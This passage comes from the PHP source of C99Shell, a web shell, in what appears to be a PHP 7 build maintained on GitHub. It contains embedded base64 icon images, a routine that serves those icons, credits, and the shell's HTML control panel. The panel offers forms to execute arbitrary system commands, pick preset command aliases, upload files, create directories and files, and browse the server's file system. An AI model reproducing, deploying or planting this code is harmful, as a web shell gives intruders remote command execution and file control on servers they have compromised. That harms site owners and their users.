4748 "sql_button_insert" => "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwAAAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
4749 "up" => "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvVIXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
4750 "write" => "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/zeEQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
4751 "ext_asp" => "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD//////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgID6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
4752 "ext_mp3" => "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANUaGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fcIGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
4753 "ext_avi" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANMWFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4PYXCyg+V2i44XeRmSfYqsGhAAgA7",
4754 "ext_cgi" => "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/SEv/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQXv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UMBagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKDAkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAiRYtMAgEAOw==",
4755 "ext_cmd" => "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANIeLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCNdmrYAMn1onq/YKpjvEgAADs=",
4756 "ext_cpp" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANCWLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4RaEq7YrLDE7a4SADs=",
4757 "ext_ini" => "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANLaArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VMSnEjgPVarHEHgrB43JvszsQEADs=",
4758 "ext_diz" => "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZXpVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAAdAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocmC1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPFCyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAAOw==",
4759 "ext_doc" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANRWErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmqMIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
4760 "ext_exe" => "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqtxhIAOw==",
4761 "ext_h" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANBWLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKoWq/NknbbSgAAOw==",
4762 "ext_hpp" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANFWLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVRUqUagnbLdZa+YFcCADs=",
4763 "ext_htaccess" => "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJAAA7",
4764 "ext_html" => "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNzc////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3PKIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDkBkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIRADs=",
4765 "ext_jpg" => "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEciCi8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftdFxEAOw==",
4766 "ext_js" => "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibHk0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhsa00AjYYBbc/o9HjNniUAADs=",
4767 "ext_lnk" => "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjONSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHziUww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABkAAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDGMymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQADs=",
4768 "ext_log" => "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wNzLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
4769 "ext_php" => "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlgt0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
4770 "ext_pl" => "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMoGLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
4771 "ext_swf" => "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/OnAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GAGBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgCNysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
4772 "ext_tar" => "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JICWv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XFHgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGDUyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17puo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkgGwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMdHUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FBu4tLAgEAOw==",
4773 "ext_txt" => "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJSArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7UpPWG3Ig6Hq/XmRjuZwkAAA7",
4774 "ext_wri" => "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoaoa4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
4775 "ext_xml" => "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACAgDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICxOAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQIQA7"
4776 );
4777 $imgequals = array(
4778 "ext_tar" => array(
4779 "ext_tar",
4780 "ext_r00",
4781 "ext_ace",
4782 "ext_arj",
4783 "ext_bz",
4784 "ext_bz2",
4785 "ext_tbz",
4786 "ext_tbz2",
4787 "ext_tgz",
4788 "ext_uu",
4789 "ext_xxe",
4790 "ext_zip",
4791 "ext_cab",
4792 "ext_gz",
4793 "ext_iso",
4794 "ext_lha",
4795 "ext_lzh",
4796 "ext_pbk",
4797 "ext_rar",
4798 "ext_uuf"
4799 ) ,
4800 "ext_php" => array(
4801 "ext_php",
4802 "ext_php3",
4803 "ext_php4",
4804 "ext_php5",
4805 "ext_phtml",
4806 "ext_shtml",
4807 "ext_htm"
4808 ) ,
4809 "ext_jpg" => array(
4810 "ext_jpg",
4811 "ext_gif",
4812 "ext_png",
4813 "ext_jpeg",
4814 "ext_jfif",
4815 "ext_jpe",
4816 "ext_bmp",
4817 "ext_ico",
4818 "ext_tif",
4819 "tiff"
4820 ) ,
4821 "ext_html" => array(
4822 "ext_html",
4823 "ext_htm"
4824 ) ,
4825 "ext_avi" => array(
4826 "ext_avi",
4827 "ext_mov",
4828 "ext_mvi",
4829 "ext_mpg",
4830 "ext_mpeg",
4831 "ext_wmv",
4832 "ext_rm"
4833 ) ,
4834 "ext_lnk" => array(
4835 "ext_lnk",
4836 "ext_url"
4837 ) ,
4838 "ext_ini" => array(
4839 "ext_ini",
4840 "ext_css",
4841 "ext_inf"
4842 ) ,
4843 "ext_doc" => array(
4844 "ext_doc",
4845 "ext_dot"
4846 ) ,
4847 "ext_js" => array(
4848 "ext_js",
4849 "ext_vbs"
4850 ) ,
4851 "ext_cmd" => array(
4852 "ext_cmd",
4853 "ext_bat",
4854 "ext_pif"
4855 ) ,
4856 "ext_wri" => array(
4857 "ext_wri",
4858 "ext_rtf"
4859 ) ,
4860 "ext_swf" => array(
4861 "ext_swf",
4862 "ext_fla"
4863 ) ,
4864 "ext_mp3" => array(
4865 "ext_mp3",
4866 "ext_au",
4867 "ext_midi",
4868 "ext_mid"
4869 ) ,
4870 "ext_htaccess" => array(
4871 "ext_htaccess",
4872 "ext_htpasswd",
4873 "ext_ht",
4874 "ext_hta",
4875 "ext_so"
4876 )
4877 );
4878 if (!$getall)
4879 {
4880 header("Content-type: image/gif");
4881 header("Cache-control: public");
4882 header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
4883 header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
4884 header("Last-Modified: " . date("r", filemtime(__FILE__)));
4885 foreach ($imgequals as $k => $v)
4886 {
4887 if (in_array($img, $v))
4888 {
4889 $img = $k;
4890 break;
4891 }
4892 }
4893 if (empty($images[$img]))
4894 {
4895 $img = "small_unk";
4896 }
4897 if (in_array($img, $ext_tar))
4898 {
4899 $img = "ext_tar";
4900 }
4901 echo base64_decode($images[$img]);
4902 }
4903 else
4904 {
4905 foreach ($imgequals as $a => $b)
4906 {
4907 foreach ($b as $d)
4908 {
4909 if ($a != $d)
4910 {
4911 if (!empty($images[$d]))
4912 {
4913 echo ("Warning! Remove \$images[" . $d . "]<br>");
4914 }
4915 }
4916 }
4917 }
4918 natsort($images);
4919 $k = array_keys($images);
4920 echo "<center>";
4921 foreach ($k as $u)
4922 {
4923 echo $u . ":<img src=\"" . $surl . "act=img&img=" . $u . "\" border=\"1\"><br>";
4924 }
4925 echo "</center>";
4926 }
4927 exit;
4928}
4929if ($act == "about")
4930{
4931 echo "<center><b>Credits:<br><br>Kudos to the "Original Creators" of C99Shell.<br><br>and <u>KaizenLouie</u> for Latest safe-build and update for PHP 7.<br><br>Thanks to all who reported the bugs.<br>If there are more bugs, please create an issue in https://github.com/KaizenLouie/C99Shell-PHP7 </b>";
4932} ?>
4933</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
4934<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
4935<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als)
4936{
4937 echo "<option value=\"" . htmlspecialchars($als[1]) . "\">" . htmlspecialchars($als[0]) . "</option>";
4938} ?></select><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td></tr></TABLE>
4939<br>
4940<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
4941<tr>
4942 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp <input type=submit name=submit value="Search"></form></center></p></td>
4943 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1"> <input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
4944</tr>
4945</table>
4946<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
4947<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td></tr></table>
4948<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>maintained by</b></u></a> KaizenLouie | <a href="https://github.com/KaizenLouie/C99Shell-PHP7"><font color="#FF0000">C99Shell Github</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime() - starttime, 4); ?> ]--</b></p></td></tr></table>
4949</body></html><?php chdir($lastdir);
4950
4951c99shexit();
4952?>